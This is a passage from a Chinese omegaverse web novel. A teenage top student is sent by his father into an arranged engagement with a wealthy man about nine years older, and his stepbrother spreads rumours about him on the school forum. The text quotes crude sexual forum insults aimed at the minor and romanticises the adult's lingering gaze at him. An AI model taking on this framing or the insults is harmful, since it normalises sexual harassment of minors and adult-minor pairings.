自习课结束后,杜若寒和竹玉渲去二食堂用餐,好巧不巧的是碰见了和同学一起来吃饭的杜润雨。
由于近两年的教育规划发生变化,江临一中部分场地进行了重建,施工嘈杂,影响学生上课与学习。
所以为了保质保量的稳住江临一中的升学率,这两年初中部与高中部暂时的合并在一起,位于不同的教学楼。
二食堂的饭菜虽然种类很多,但饭菜并不算好吃,走过去也需要绕一点路。
杜若寒与竹玉渲愿意来二食堂,也只是因为二食堂人少清净,两人都害怕嘈杂的环境,宁愿多走点路,也要让耳朵少受点罪。
二食堂靠近初中部,但确实是为高中部设立的食堂,只不过也没有明确规定初中生不能来用餐。
谁知道四人在拐角处撞了个正着。
杜润雨跟在一名梳着两个麻花辫的女生身后,脸上扬起的笑和那压不住的嘴角,谁看了都知道这是他心上人。
而那女生左侧头发上戴着一只蓝色大蝴蝶结的发卡,衬得脸很小很可爱。
只不过她天鹅似的脖颈上光滑一片,身上也没有任何的信息素味道,不是未分化,而是她是一名beta。
杜若寒感到有些意外,在他印象中,杜润雨喜欢的一向是那种又乖又清纯的omega学姐。
是的,上高一那年,杜润雨曾给他们班上的一位女同学写过告白情书,然后惨遭拒绝。
原因没有别的,那女生是个纯粹的智性恋,只喜欢学习好的。
比如杜若寒这种,人家压根儿看不上杜润雨这种半瓶醋在中间晃荡,还晃荡个不明白的小朋友。
要问杜若寒为何记得那么清楚,还是因为那天晚上回到家,杜润雨找他吵架,学人家学姐的原话就是这样的。
杜若寒记性也好,两人在房间里大打出手,搞的杜兆十分来火冲进来赏了一人一巴掌。
当然,杜润雨的那巴掌轻点,杜若寒却被扇的半张脸都肿了起来。
现在一晃眼,杜润雨的审美变了,喜好也变了,甚至在看见杜若寒的一刹那,脸色都变了。
他下意识伸手去拉那名女生的手,却被那女生很不给面子的甩开,脸上却冲杜若寒扬起了一抹腼腆的笑。
一旁的竹玉渲反应比杜若寒还大,故意上前一步挡着两人的路,还不忘回头冲杜若寒挤眉弄眼:
“怎么现在的初中生都这么不懂事啊,学长学姐的食堂也要来尝尝咸淡啊?”
这话一出,杜润雨和他身边那名女生都明显一愣,尤其是那名女生神情尴尬,脸色涨红。
杜若寒见不得小女生这样为难,主动伸手将挡路的竹玉渲拉了过来。
“走了。”
竹玉渲没他劲大,走出两步路的距离他就没好气的开口道:
“你这好脾气什么时候能改一改?你弟都找人打你了,你还对他这么客气啊?”
杜若寒不置可否的笑笑,“其实我还挺感谢他能雇人来打我的,尤其是在我没钱的时候。”
“啊?”竹玉渲不可思议的瞪大了眼睛,简直怀疑自己的耳朵。
杜若寒挑挑眉,神情颇为自得的笑:
“他给那些打手的钱挺多,可他们又打不过我,钱最后还不都是进了我口袋。”
竹玉渲惊呆了,“……靠?”还能这样?
“那你弟弟人还怪好的,这叫什么……送财童子?”
杜若寒哈哈大笑,“我也觉得。”
而另一旁,听见杜若寒笑声的杜润雨脸色瞬间变得不好看起来。
他的同伴陶亦可却没有发现,还兴冲冲的问道:
“润雨,刚刚我们碰到的那个是杜若寒吧?就是那个学习成绩超级厉害的年级第一耶!”
杜润雨瞥了她一眼,气急败坏的跺脚道:
“年级第一又有什么厉害的?出了校园进入社会,你看他还能不能靠一张成绩单吃上饭!”
“说你幼稚,你还不信!他一个残缺不全的omega真不知道有什么好崇拜的。”
说完,杜润雨就冷着脸将陶亦可甩在了身后,小姑娘还没反应过来,只觉得这人莫名其妙:
“什么啊!你也想的太多了点吧……”
——————
用过晚饭刚好六点,周日的晚自习走读生只用上到六点半就可以离校了。
半个小时的时间过得很快,杜若寒看了一会儿课外书就到了点。
竹玉渲早就收拾好了书包掐着点的在等了,忍不住回过头问杜若寒:
“你跟不跟我一起走?”
杜若寒摇摇头,“你先走吧,我家长应该会迟一点。”
他一早就跟竹玉渲说过了,是他爷爷的朋友来接,说是有事。
但具体是什么事,他没和竹玉渲说,竹玉渲也就不疑有他的没问。
等竹玉渲走后十分钟,杜若寒才站起身收拾书包准备出校。
他不知道来接他的人是谁,也许是江先生的下属,也有可能是江先生本人。
杜若寒心里忐忑的很,自然也就不想再让这样的场景被自己的好友撞见,从而解释不清。
他走出教学楼正好是六点四十五分多一点,恰逢初中部的学生们晚自习下课出校。
于是个子略高些的杜若寒顺着人群一起往外走,只不过步伐放慢了很多。
一开始他还不太确定来接他的人是否能认出自己,但当他走到校门口,并放眼望去时,才知道什么叫想太多。
只见校门口的马路边上停满了各式各样的奔驰宝马,甚至也有好几辆颜色亮眼鲜艳的保时捷和玛莎拉蒂。
但这些在那辆白色劳斯莱斯幻影面前,却都显得有几分黯然失色。
更何况那辆劳斯莱斯幻影并不仅仅是停在了校门口,而是停在了校门口设防的警戒线以内,shrn?frn强压所有来接孩子们的家长一头。
杜若寒都没搞清楚状况,耳畔全是随着人群往外走动的学生们的惊叫和议论。
“我靠?这谁家的车子太牛了吧!”
“妈呀,我们学校什么时候来了个真少爷?”
“我去,不会是小领导家的儿子吧?这么屌?”
“得了吧,咱们学校那几个校长你看看呢,女儿儿子都多大了,咋可能啊。”
……
这做派,不会真的是他那个素未谋面的未婚夫搞的吧?
杜若寒尴尬的低下头,但车子边上站着的保镖,确实是和他那天去见伍爷爷看见的保镖是一样的。
他们身材
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高大而魁梧,将身上穿着的西装撑的很满,最重要的是,他们同样是佩戴了双重抑制环的保镖。
杜若寒低着头被人群挤着往前走了一小段,正想抬起头换个方向走,谁知忽而听见有人在叫他的名字。
杜若寒下意识抬头看去,竟是本该离校了的竹玉渲,还站在保安室边上没有走。
杜若寒一愣,刚要想挤过去和他说话,谁知人群忽而向外涌动着在他面前让开了好大一片空地。
杜若寒还在和竹玉渲对视,却已然在对方完全震惊了的表情中读出了一丝不对劲。
杜若寒猛地转过头看去,只见首当其冲走过来的保镖长着一张很熟悉却完全不认识的脸,他冲杜若寒微微一笑。
“杜少爷,江先生让我来接您回去。”
人群寂静了几秒,随后爆发出几乎令杜若寒想要社死的惊呼声。
他又回头看了一眼还在保安室的竹玉渲,只见对方脸上已然没了刚开始的震惊,而是笑眯眯的冲他做了几个口型。
杜若寒倒吸一口气,瞬间明白竹玉渲无声说的三个字是:你、完、了。
但在这一刻,他几乎是拔腿就跑的上了车,完全不想面对外面那些认识他、又或者不认识他也要议论的学生们。
“我的天啊!润雨你看见了么?是杜若寒!”
“他家里很有钱么?怎么从来没听说过,居然是这么低调的真少爷!”
人群中,同样准备离校的杜润雨和他喜欢的女生陶亦可正巧一起见证了这一幕。
也许是喜欢的女生不分好坏的赞美,又或者是上一段毁在杜若寒手里、从而无疾而终的暗恋。
妒火烧毁了一切理智,迫使杜润雨口不择言的说道:
“什么真少爷?他是我继兄,被我爸嫁给了一个特别有钱的糟老头子!”
“你们都知道什么?他卖身换的,你们都被他迷惑了!”
听到这话的陶亦可难以置信的瞪大了眼睛,有些不知所措的看了看周围听见这话的同学。
“杜、杜润雨你别胡说!”
“他也姓杜啊?我靠,难道是真的?”
“一个姓也不常见吧?搞不好就是真的,我可没听过杜若寒家里有钱啊。”
“就是就是,不过他成绩那么好,干嘛要干这事啊,唉……”
“哈哈哈那我真的就一点不羡慕了,让我去陪一个糟老头子我可做不到!”
……
上了车的杜若寒并不知道接下来他所要面对的一切,也并不知道有些谣言不用风吹自己就插上翅膀满校园的乱飞了。
“杜少爷,听老先生说你还有些东西在杜家,现在需要回去拿么?”坐在副驾驶的那名保镖回头轻声询问道。
杜若寒还拿着手机,酝酿着自己到底该怎么和竹玉渲解释。
“需要的,谢谢。”
想了一会儿,他实在是编不出来什么像样的理由来,索性自暴自弃点开了伍爷爷发给他的消息。
【若寒,这是江臧的号码和他的v信,有空的话就加一下吧(微笑)】
杜若寒犹豫了两秒,还是复制了号码并选择添加好友。
而在好友发送过去的那一刻,第五集团顶层会议室内的众人,只见他们boss放在桌子上的手机忽而震动了一下。
过了一会儿,第五江臧修长而有力的手指按在了屏幕上。
男人只是垂下眼眸瞥了一眼,屏幕上方弹出信息:养只小猫请求添加你为好友。
那人的头像和他众多好友的画风截然不同,是一只躺在枯黄树叶堆里的小橘猫,算不上多么可爱,反而显得可怜兮兮。
第五江臧没有理会,顺手熄灭了屏幕。
“继续。”
9. 第 9 章
【等我到家给你打电话!!!不要生气嘛(狗狗眼.jpg)】
如上所述,这是杜若寒给竹玉渲发出的第三十六条信息了。
但和前面的三十五条信息一样,很快石沉大海没了回音。
看来这次是真的生气了,杜若寒心里轻叹一口气。
他知道竹玉渲这次特别生气的原因不仅仅是自己有事瞒他,更是因为为了瞒他而故意迟走了那么几分钟。
但谁能想到今晚恰逢竹熙媛女士开会迟到,顺带着来接竹玉渲的时间也推迟了一些。
不过这事也只能瞒得住一时,瞒不住一世,到底还是错在我。杜若寒有苦不能言,心里惆怅非常。
抬起头恰好和从后视镜里看他的齐帆对上了视线,齐帆见他一副愁眉苦脸的样子,忍不住问:
“小少爷是有什么麻烦事处理不了么?”
杜若寒实在是不习惯别人这样称呼他,但在听到这话时,竟的认真思考了两秒,随后开口道:
“以后都是你来接我么?”
齐帆笑了笑,他指了一下正在开车的林识,解释道:
“是的,我叫齐帆,他叫林识,都是听从江先生的安排,贴身保护您的保镖。”
杜若寒了解的点点头,“那……以后你们来接我的时候可不可以不要这么……惹人注目?”
听到这样的要求齐帆顿感意外,“可以是可以,但……我想这还是得经过江先生的同意才行。”
他们也只是按照江先生的嘱咐被临时调到杜若寒的身边,有许多的事情其实做不了主的。
杜若寒心里明白,低头看了看紧攥在手里却毫无动静的手机。
竹玉渲没有回他的消息,而他的未婚夫也没有通过他的好友申请。
车子平稳的驶到杜家门口,也只不过才七点多一些。
齐帆为杜若寒打开后座车门,下了车杜若寒才发现杜兆已经打开了家门。
只不过像往常无数次他们欢迎杜汀州与杜润雨回家的那样,庆祝着杜若寒的离去。
花美琳已经将杜若寒房间里的东西都收拾好了,连带着早上她特意去商场买的两套衣服和一双球鞋。
杜若寒杂七杂八的东西看上去很多,花美琳是一边收拾一边抱怨。
但当她将东西全部整理好放进行李箱里时,才发现连一个最基本的二十六寸的行李箱也没能塞满。
其中占据行李箱最多的就是杜若寒的书,和他用来储放自己画作的画夹,最后就是那两套衣服,以及杜若寒母亲留给他的一些遗物。
杜若寒站在原地望着杜家门口向外溢出来的温暖的光,却照着那对夫妻的身影很是漆黑一片。
夜风吹过他的耳畔,仿佛温柔抚慰而过的双手。
杜若寒才稍稍回过神来,抬起脚往门口走去,齐帆紧跟其后。
看见走过来的杜若寒,杜兆脸上控制不住的扬起一个大大的笑容来,像是自豪又像是满足。
他伸手很轻的抱了一下杜若寒,又拍拍他的肩膀和脑袋,整个过程不到三秒的时间。
他便叫花美琳把行李箱递过去,又十分熟练老成的从怀里掏出烟盒,想要给杜若寒身后的齐帆递烟。
齐帆只是很淡的撩了一下眼皮没有理会,随后动作自然的从杜若寒的手中接过行李箱。
杜兆尴尬的笑了两声,这才将视线重新放回自己的儿子身上。
”那个什么,以后寒寒就交给你们了,寒寒,去了江家要懂事知道么?”
杜若寒抬起头很冷淡的看了杜兆一眼。
这一眼看清了杜兆眼角淡淡的细纹,也看清了他永恒不变的自私嘴脸。
杜若寒让齐帆把行李箱当着他们的面打开检查时,杜兆和花美琳的脸色都变得不太好看起来。
齐帆只听从杜若寒的命令,动作也非常快的将行李箱里的东西清点了一遍。
杜若寒站在那里脊背挺的很直,因为有齐帆在,他没有像以往那样再跪在地上。
他想,从今往后他再也不会跪在地上了。
儿时就因为犯了一点小错,他的东西被杜兆全部扔出了门外,杜若寒一边哭喊着爸爸对不起,一边跪在地上狼狈不堪的到处捡自己散乱的玩具。
他害怕自己再捡慢一点就再也进不去家门,他也害怕自己会被杜兆抛弃。
但现在,恐惶不安着多年的心终于在迎来结局的这一刻归于平静。
花美琳做事还算细心体贴,没有落下杜若寒任何一样东西,大抵是因为它们都不太值钱,没有让人贪图的欲望。
杜若寒没和杜兆说一句话,更没有道别,他留给杜兆夫妻俩的只有冷漠的背影。
重新上车,车子都驶出一段距离后,杜若寒才想起来问他们这是要去哪。
齐帆微微侧过头来告诉他,“江先生让我接您回香榭丽舍。”
香榭丽舍?听着倒像是有钱人养情人的地方。
杜若寒心里暗自琢磨,只觉得自己接下来要面对的生活太过于陌生。
“……江先生也住那里么?”
齐帆愣了一下,和旁边开车的林识对视了一眼,像是这个问题不太好回答。
于是齐帆说,“江先生的住处有很多,不是固定的。”
杜若寒“哦”了一声,看来真的只是找个地方把自己暂时安置了。
他一向话不多,但今晚趁着朦胧夜色,少许离家的难过,问题也就止不住的多了起来。
“我见过伍爷爷,江先生为什么……和伍爷爷不是一个姓呢?”
齐帆笑了笑,“您以后会知道的。”
关于第五江臧的事情,不是他们能在背后议论的。
如果杜若寒以后真的成了第五江臧的妻子,有些事该知道的总归会知道。
但如果他们的老板只是想卖老先生一个面子,在人前装装样子,那不该知道的事情最好也不要向外说出半个字。
十五分钟后,这辆价值上千万的劳斯莱斯幻影驶入一座香榭丽大道。
杜若寒顺着这条大道往远处看,不可避免的被远处一座典雅而气派的庄园别墅所震惊住。
难道他以后要住在这里?!
车子驶过大门,杜若寒看见门口同样有佩戴着双重抑制环的保镖在站岗。
很快他们被放行,眼前略过的花坛、水池、草地与喷泉,都无一不精美奢侈。
直至车子驶入地下停车口,随着自动升降装置的启动,他们连人带车的进入地下二层。
随后杜若寒更像是梦游般,跟在齐帆的身后进入电梯,再进入别墅。
住在这里的别墅管家是一位三十五岁左右的女性beta,从发型到服饰无一不彰显着她的端庄和大方,尽管她只是这里的管家。
罗敏十分客气的从齐帆的手中接过杜若寒的行李箱,随后轻声细语的和杜若寒说:
“我带您先回房间休息,需要我为您准备晚饭么?”
齐帆走之前冲杜若寒眨了眨眼,尽管杜若寒根本不知道那是什么意思,还是土里土气的抬手挥别,随后才想起来要回答罗敏的话。
“不用,我在学校里吃过了。”
罗敏温柔的笑笑,“那让厨房准备一些饭后甜点好了,草莓布丁或是栗子蛋糕?”
原本不怎么饿的杜若寒忽而嘴馋起来,犹豫着抬头看了一眼罗敏。
罗敏笑容便越发的明显,十分善解人意的替他做主道:
“那就每样都来一点好
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了。”
半个小时后,洗漱好、换上睡衣的杜若寒接到了好友竹玉渲打来的电话。
“杜若寒!!!你这个天杀的,你给我如实招来!!!到底是怎么回事!!”
“你知不知道你今晚的事都在江临传疯了?!你赶紧上论坛看看去,说你什么的都有,我打字打的手都麻了,咱们必须一个一个骂回去!!”
被炸了耳朵的杜若寒缓了一会儿,才明白过来竹玉渲在说什么。
“搞半天你不理我,是去论坛上浴血奋战了?”杜若寒忍不住笑道。
电话那头的竹玉渲气的又大喊了一声,“都什么时候了,你还有闲心情在那笑啊!”
“你知不知道你那个倒霉弟弟把你的事情全部发论坛上去了?”
听到这的杜若寒微微一愣,甚至没有反应过来:“什么?”
竹玉渲忽而泄了气,“算了,你不要去看了,我怕你心脏顶不住。”
“你那边到底是什么情况啊?不会真的像杜润雨说的那样,你爸把你给……”
竹玉渲说一半便说不下去了,“你最好给我解释清楚,不然我跟你没完。”
杜若寒缓了一会儿,没急着回答竹玉渲的问题,而是快速的打开了他们学校的网址论坛。
几乎是在点进去的同时,他看见主页上飘满了关于他但没有指明到姓的帖子。
杜若寒右眼皮止不住的跳了跳,手指稍稍停顿一下便点了进去。
随之而来的,是一整页又一整页的造谣和辱骂。
“若寒?你听见我说话没有?”
“我靠,你不会是在看论坛的帖子吧?别看别看!你都不知道他们那些人的嘴巴有多臭!”
“若寒,你没事吧?”
江临一中年级第一为钱做鸭,就他那点姿色什么人能眼瞎看上他啊?笑死。
而且信息素等级还那么低,这草起来也不够爽啊,哈哈哈哈
害,搞不好就是有些变态老头有些变态爱好呢?他腺体不会坏了么?搞不好生殖腔也有缺陷哦,嘻嘻
我靠,牛逼啊,原来是这样的么?是不是弄起来更爽啊哈哈哈靠!
……
电话那头传来竹玉渲急的要命的声音,但已经晚了。
杜若寒只是面无表情的往下划了又划,直至划到了最底下才退了出去。
他重新点开手机的v信界面,一个小时前发送出去的好友申请到现在还是没有通过。
杜若寒将手机丢到床上,手机里却不断传来竹玉渲的声音。
杜若寒没有办法,只好又爬上床把手机捡起来回他:
“我没事。”
“其实他们说的也没错,我爸确实把我卖了。”
电话那头的竹玉渲错愕的愣在原地,还没反应过来的空隙,又听见杜若寒说:
“不过不是什么老头子,只是比我大一点而已。”
竹玉渲已经呆住了,“那、那到底大多少啊?”
杜若寒算了一下,“应该就大个……八、九岁?”
他听见电话那头,竹玉渲猛地倒吸了一口气,声音隐约带着点哭腔:
“杜若寒你听话,咱们不卖!差多少钱我给你!”
杜若寒忽而失笑,他望着天花板上复古而精美的浮雕,喃喃道:
“没事的玉渲,我觉得这样也挺好的。”
这一晚注定无眠。
杜若寒费劲力气才把竹玉渲哄去睡觉,自己却全然没了睡意。
他摸过手机,看了一眼,凌晨一点三十二分。
杜若寒在床上翻了一个身,还是决定起床去倒杯水喝。
他万万没想到会在楼下碰见,齐帆口中所说的居无定处的江先生。
10.第 10 章
香榭丽舍的佣人包括管家罗敏,都是不被允许住在别墅内的。
午夜十二点一过,她们便像是一抹幽灵般消失在这已经沉寂下来的城堡里。
究其原因,大抵是这栋别墅的主人没有在休息之后还要人伺候的习惯。
杜若寒从床上爬起来,磨磨蹭蹭的来到了门口。
推开房门,位于他房间上头的走廊感应灯随之亮起,在光洁的白色瓷砖上聚成一朵浮动盛开着的昙花。
杜若寒盯着那朵昙花看了一会儿,心里实在是感到惊奇。
顺着走廊往前,昙花乍现又泯灭,一朵接着一朵浮现消散。
杜若寒忍不住踩着这些光的影子,在这条空无一人、安静的走廊上来回走动。
起初只是觉得好玩,步伐也不算急促,但当他认真的追逐起这些光芒来,他的脚步便开始变得凌乱而不安。
哪怕在这一刻,静谧的光是如此真切的照亮了他孤独而清瘦的身影。
杜若寒却毫无察觉。
杜兆的嘴脸、学校的流言、尚未通过的微信,通通在他的脚下化作一道又一道绚烂的光圈,被他踩的稀巴烂后,又在前方重新汇聚。
杜若寒执意的要去追逐,像是证明又像是发泄,直至满头是汗他才眨眨眼恍惚的停了下来。
浑然不知在楼下停驻脚步的某人,目睹了这仿佛午夜凶铃般闹鬼的全过程。
第五江臧蹙起眉,半眯着一双淡漠的眼眸,高大而修长的身型慵懒的倚靠在沙发的边缘。
像是一只蓄势以待的野兽,与这黑暗融为一体,只有指尖燃起的香烟冒着危险的猩红一点。
杜若寒没有丝毫的察觉,他垂着脑袋丧气着一张小脸,很显然是在为刚刚自己干的傻事而觉得丢脸。
十六七八的年纪了,还能和个小孩子一样!
心里这般想着,却在踩下最后一节台阶的瞬间,身体控制不住的打了一个冷颤。
像是某种看不见的物质倏然抓住他裸露的脚踝,顺着光洁的小腿一路攀爬,直击心脏。
杜若寒就在这种汗毛耸立的寒冷中抬起头来,没有丝毫预兆的对上了一双深邃而睥睨过来的眼眸。
一瞬间,呼吸凝滞。
杜若寒整个人僵在原地,像是被什么东西压制在了那里,只能任由对面男人目光肆意的打量。
他没有在对方的身上闻到任何的信息素味道,那人甚至没有佩戴任何的抑制环。
而他的颈环同样因为某种疏忽,而丢在楼上没有带下来。
但就是这样的一个人,却带给杜若寒一种倾轧似的的压迫感,简直沦肌浃髓。
光线晦暗不明,但也足够第五江臧将眼前的人儿看的足够清楚。
瘦弱的身体、算不上白净的皮肤、淡不可闻却又劣质的信息素。
以及那与照片上完全不相同的一张脸,有一秒的时间,第五江臧以为是他们带错了人。
但他了解他手下的能力,正如他的感知力。
那双雪亮的眸子很圆,像猫,透着几分世家小孩所没有的纯粹和单纯,确实是第五治会偏爱的小孩。
第五江臧放缓了神情,不再蹙着眉,指尖香烟上的一小截烟灰摇摇欲坠,终是静默的跌落在男人漆黑的鞋边。
“在跑什么。”
第五江臧的声音算不上温和,甚至是有些冷硬的疏远,却并不令人感到害怕。
杜若寒望着那人隐藏在黑暗中,也难以掩藏着的、俊美的脸,像是一个完美而冰冷的模特。
他听见自己的声音不算大声,又有些犹豫的回答:
“是…灯在跑。”
他垂下眼,莫名的有些心虚,又怕才第一次见面的江先生怪罪。
觉得他是个不懂礼貌、又极其没有教养的人。
但第五江臧没有,他只是平静的注视着眼前的小孩,忽而想起常德的孙女虽然英年早逝,但死前确实为常家留下一子,只不过还没来得及带回常家。
常云死后,她那一子便一直跟着她那不成器的丈夫姓杜。
至于叫杜什么,第五江臧并不是很在意。
他的目光很淡的落在眼前小孩皮肤光洁而细腻的小腿上,瞧见他纤细的有些过分的腰身,几欲不堪盈盈一握。
竟比一般的omega还要瘦些,可见这些年杜兆虽然养着他,却也没见得上过心。
想到这,第五江臧忽而垂下眼眸来:
“这么晚不睡,住的不习惯么。”
大抵是第五江臧的询问竟透着几分莫名的温情与关心,杜若寒便忍不住心头一跳得抬头望上他一眼。
这便瞧见男人含着笑意的淡漠眼眸,以及微微勾起的唇角。
“我…我下来喝水。”杜若寒有些变扭的攥紧睡衣的一角,声音变得更小些。
第五江臧不置可否,随后站起身来亲自去饮水机旁接了一杯温水放在杜若寒的面前。
“早些休息。”
说罢,第五江臧转身要走,杜若寒这才惊觉自己还有什么话没说。
“江先生,等等——”
第五江臧脚步一顿,微微侧过脸瞥目看他。
不知道是不是杜若寒的错觉,男人身上那种强大而冷漠的疏远感再次袭来将两人隔的很遥远。
他愣怔一瞬,在对方没有温度的注视下,忽而意识到自己行为的多余和失礼。
也许对方只是出于客气才与他说话,本质上来说他们就是两个世界的人。
就算对方同样是个信息素严重缺失的alpha,但也要比自己这样的omega强上百倍。
也许他也很厌恶家里人的安排,却不得不服从,就像自己一样没得选。
一瞬间,太多想法涌上心头,但对方却没有像想象中那般冷漠的走开。
而是停留在原地,出乎耐心的等待着他接下来的话语。
于是这一刻杜若寒又莫名的释怀,他想江先生确实是个很好的人,伍爷爷也是。
他们要比自己的家人要尊重他,尽管这本就是杜若寒应该得到的。
想到这,杜若寒眨了眨那双明亮的眼睛,脸上露出一抹很淡的笑。
第五江臧听到对面的小家伙柔着声音对自己说:
“晚安,江先生。”
第五江臧微微一顿,神情没有更多的变化,只是收回了落在杜若寒身上的目光。
“晚安。”
男人压低的声音透着淡漠的幽冷,却莫名的有些好听。
杜若寒捧着那杯水,没
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喝几口,却呆呆的坐在楼下很久。
而过分熬夜的结果,就是第二天早上差点没能起得来床。
罗敏已经将早餐端到了他的房间,杜若寒才起来,正神情着急的往自己身上套校服。
罗敏见状忍不住笑了笑,转头取了漂亮的包装袋,将三明治与牛奶都装好放在了杜若寒的书包边上。
齐帆的车早就在别墅门口候着了,只不过开的不是昨晚的那辆劳斯莱斯,而是一辆较为低调的黑色迈巴赫。
第五江臧拉开窗帘时,正巧瞧见杜若寒狂奔出去的这一幕。
林识替他打开车门,杜若寒动作矫健的把自己摔进了车里,手里紧攥着那瓶罗敏提前温好的牛奶。
他在足够宽敞的后座里快速调整好了坐姿,像一只十分敏捷的小豹子。
车子发动之前,杜若寒还不忘冲站在门口的罗敏挥手告别,脸上是带着笑的。
算是开心吧。
第五江臧站在窗台上看了一会儿,直至齐帆顺手将车窗关上,瞧不见小孩的脸后,他才重新将窗帘拉上。
齐帆没有将杜若寒送到学校门口,而是按照他自己的强烈要求,这辆昂贵的迈巴赫停在了一条脏兮兮的小巷口。
车身驶过之后,原地只余一个瘦长的身影。
杜若寒打开系着蝴蝶结的袋子,咬一口三明治,只剩一两百米的距离,怎么也都来得及到校。
小猫巷里时常有学生三五人抱成一团,聚众打架,但只有在清晨的早上,这里是一片难得的净土。
杜若寒低着头,身旁时不时有同校的学生啃着面包经过。
走得快的人像是一阵风,吹动杜若寒额前细碎的发梢。
走得慢的人难免会往他身上多看两眼,不为昂贵的抑制环,也为他身上独特的气息而吸引。
有认出来他的人不确定的又看他一眼,偷摸着走远后,与同伴的议论像是具有某种价值的谈资。
杜若寒没有什么所谓,顺手将风吹过来的面包屑从校服上掸了下去。
“杜若寒?”
杜若寒一愣,顺着那道清冷的声音望过去。
清晨的阳光在那人的身后劈出一道明与暗交织的界限,丁漠高而挺拔的身姿从小猫巷里走了出来。
他长着一张过分精致堪比模特的脸,大抵是混血的缘故,瞳孔的边缘在阳光折射下呈现出浅淡的绿色。
丁漠戴了抑制环的右手上,还提着豆浆油条包子一类热气腾腾的早餐。
杜若寒知道是给他家里那个爱睡懒觉的哥哥带的。
“你怎么在这?今天也不想上课么?”杜若寒笑着问道。
丁漠是燕临二中高三的学生,燕临二中和江临一中并不在一个方向。
他之所以跑过来,应该只是单纯的为了买个哥哥爱吃的早餐。
丁漠没有理会他的问题,只是蹙起眉来问道:
“你被造谣了?”
杜若寒愣怔一瞬,论坛上的帖子本就容易堆积,又经过一晚上的发酵,他难以想象自己已经被传成了什么样子。
丁漠却只是言简意赅的用了造谣两个字。
这也让杜若寒很快意识到,丁漠不是恰好经过这里。
原本就是来在这里等他的。
11.第 11 章
杜若寒原本还有些犹豫,说是造谣其实也未必全都是假的。
丁漠却没有太多的耐心,神情淡淡的告诉他:
“造谣你的帖子我黑掉了。”
杜若寒“啊”了一声,丁漠摸了一下还没冷掉的早餐,加快了语速。
“连同辱骂你的那些账号一起。”
杜若寒呆了呆,原来是这哥们还是老样子,干什么事情都是先斩后奏,想起来才过来通知他一声的。
”谢谢…不过你是什么时候看到帖子的?”杜若寒有些好奇的问。
丁漠抬起手腕看了一眼表,“昨晚八点钟左右。”
那时间还挺早,也就是说杜润雨发在校园论坛里的帖子还没怎么发酵就已经被丁漠黑掉了。
丁漠是个在计算机领域的天才,从上小学起便在这一块崭露出惊人的天赋。
尽管他在学校的考试成绩,总是令人感到匪夷所思。
六门学科,一半满分,一半零蛋。
语文英语一类的文科,他从来不做,理综那三门却时常满分。
翘课对于丁漠而言,从来都是家常便饭,但就是这样的一个人,他在高二下学期就已经拿到了保送燕大的名额。
自那之后,他的那些学科老师们,即便是满腹牢骚,也无处可发就对了。
不过在这之前,也没有老师能管得了他。
丁漠不去学校,这对于燕临一中的老师们来说,算是一件天大的好事。
因为这家伙患有罕见的信息素狂躁症,只要闻到一丁点儿信息素的味道就会陷入歇斯底里的狂躁中。
无论是同性别的alpha,还是异性别的omega都不行。
在校期间,曾多次打伤学生和老师,其中最惨的那个alpha,差点被丁漠拿刀捅穿了腺体。
这事杜若寒记得很清楚,是因为那次事发他也在现场。
不仅仅有他,还有丁漠的哥哥肖晚秋。
肖晚秋的鲜血撒了一地,连带着上前护他的杜若寒也被划伤了手臂。
丁漠在瞧见血的那一刻被刺激的几欲发疯,没人能拦得住他,也没人敢拦,直至警笛声响起,他才被前来的警官按倒在地。
“我有事,先走了。”
丁漠撂下话转身就要走,杜若寒才从回忆中缓过神来点点头,瞧着他的身影消失在小猫巷的尽头。
八点零二分,杜若寒迟到两分钟到达班级。
老邢还没有来,原本吵闹的班级在杜若寒站到门口的瞬间安静了下来。
随后又几秒,再次乱成一团。
杜若寒心里着实松了一口气。
等他回过神,竹玉渲已经趁乱将他拽到教室后门边上的器材间里,上下快速的检查了一番。
“没事吧?我瞧着嗯…应该没有问题?”
竹玉渲捏了捏杜若寒的手臂,有些痒,他忍不住笑道:
“能有什么问题?只是换一个地方住而已。”
“你别骗我,我昨晚都要担心死了好么?”竹玉渲往杠铃杆子上一坐,“差点忍不住和妈咪说了这件事。”
杜若寒一愣,心中警铃大作:“不会吧?你没说吧?”
“没有!”竹玉渲知道他心理包袱重,害怕给竹熙媛带来麻烦。
再说她老妈那个天不怕地不怕的性子,竹玉渲也担心她乱来。
于是他大手一挥,拍拍胸脯自傲道:
“我现在也是一个做事相当沉稳的半个成年人了好么?肯定要先考虑你的安危和名声呢!”
“你放心,等我成年我银行里的钱就能用了,你再等我半年,等半年后我一定赎你——”回来。
“什么半年?”
然而他话还没说完,就被人打断。
小隔间的门被人不客气的推开,露出周书庭那张冷冰冰的臭脸来。
“还不出来,老师来了。”
竹玉渲“哦”一声,磨蹭着往外走,还不忘回头偷摸着对杜若寒作了一个“好烦呀”的鬼脸。
杜若寒想笑又不能笑,只能在周书庭的注视下一本正经的走回到座位上去。
这算是一个较为普通的一天,和以往杜若寒在学校里渡过的日子没有多少区别。
杜润雨发在论坛上的帖子没能对他造成太大的影响,反而在被丁漠黑掉账号后没多久,第二个做好事不留名的勇士,又将其造谣的事情举报到了校长那里。
喜提三千字检讨和扣十学分的杜润雨,气愤不平,编辑了很长一大段辱骂人的短信发送给了杜若寒。
杜若寒甚至懒得点开来看,顺手转发给了杜兆。
如此一来,杜兆也知道自己小儿子在学校编排杜若寒的事,回家真是好一顿骂。
俗话说家丑不可外扬,这事杜兆干的相当不光彩,他心虚还来不及。
更别说让学校里的孩子们议论了,杜若寒搬出去的事在杜家都是个忌讳的话题,哪还能被旁人知晓。
倘若传了出去,杜兆也没脸在外面混了。
还有一件令杜若寒感到有些意外的事,江先生竟然通过了他的好友申请。
第五江臧的头像是一座屹立于夜色之下的雪山,杜若寒盯着看了半天,也琢磨不明白这图片是出自哪里。
不过他也不过分纠结,将手机塞进抽屉里,并不打算再次失礼的打扰人家。
接下来的两周时间里,杜若寒从一开始的不习惯到渐渐接受和习惯。
他认床认的厉害,时常睡到半夜就无故的转醒。
到底是吸取了第一次的教训,他让罗敏准备了一个小茶壶,专门放在自己的房间里。
这样也就避免了再撞见的可能性,他想当个存在感很低的影子,好过惹人厌烦。
他的身边其实没有什么是真正属于自己的东西,除了母亲留下来的的日志和画夹。
如果感到无聊至极,他会翻开母亲的日志一遍一遍的默读,就像母亲的声音静默的回响在身边。
画夹里的画也已经存满了,但杜若寒并不想换新的。
不知道是常云留下的画夹材质确实特别,还是这个画夹在杜若寒心里本就有特殊的意义。
总之,他跑过许多家文具店,也没能找到和手上差不多的画夹。
杜若寒便克制住了想要画画的欲望,他在绘画方面并没有特别的天赋,只不过并不想看见母亲留给他的画夹是空荡的。
